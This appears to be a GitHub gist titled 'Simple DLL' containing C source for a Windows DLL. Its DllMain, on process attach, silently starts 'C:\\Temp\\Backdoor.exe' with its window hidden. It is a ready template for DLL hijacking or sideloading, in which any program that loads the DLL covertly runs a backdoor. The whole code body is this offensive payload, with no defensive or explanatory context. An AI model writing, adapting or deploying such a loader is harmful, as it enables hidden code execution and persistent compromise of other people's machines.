Created
June 14, 2017 09:31
-
-
Save benpturner/03d2b20763325c812f4eccbad2e8e6e9 to your computer and use it in GitHub Desktop.
Simple DLL
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <stdio.h> | |
////////////////////////////////////////////////////////////////////// | |
BOOLEAN WINAPI DllMain( | |
IN HINSTANCE /*hDllHandle*/, | |
IN DWORD nReason, | |
IN LPVOID /*Reserved*/) | |
{ | |
BOOLEAN bSuccess = TRUE; | |
switch (nReason) | |
{ | |
case DLL_PROCESS_ATTACH: | |
{ | |
STARTUPINFO si = { sizeof(STARTUPINFO) }; | |
si.cb = sizeof(si); | |
si.dwFlags = STARTF_USESHOWWINDOW; | |
si.wShowWindow = SW_HIDE; | |
PROCESS_INFORMATION pi; | |
CreateProcess("C:\\Temp\\Backdoor.exe", NULL , NULL, NULL, FALSE, CREATE_NO_WINDOW , NULL, NULL, &si, &pi); | |
} | |
break; | |
case DLL_PROCESS_DETACH: | |
break; | |
} | |
return bSuccess; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment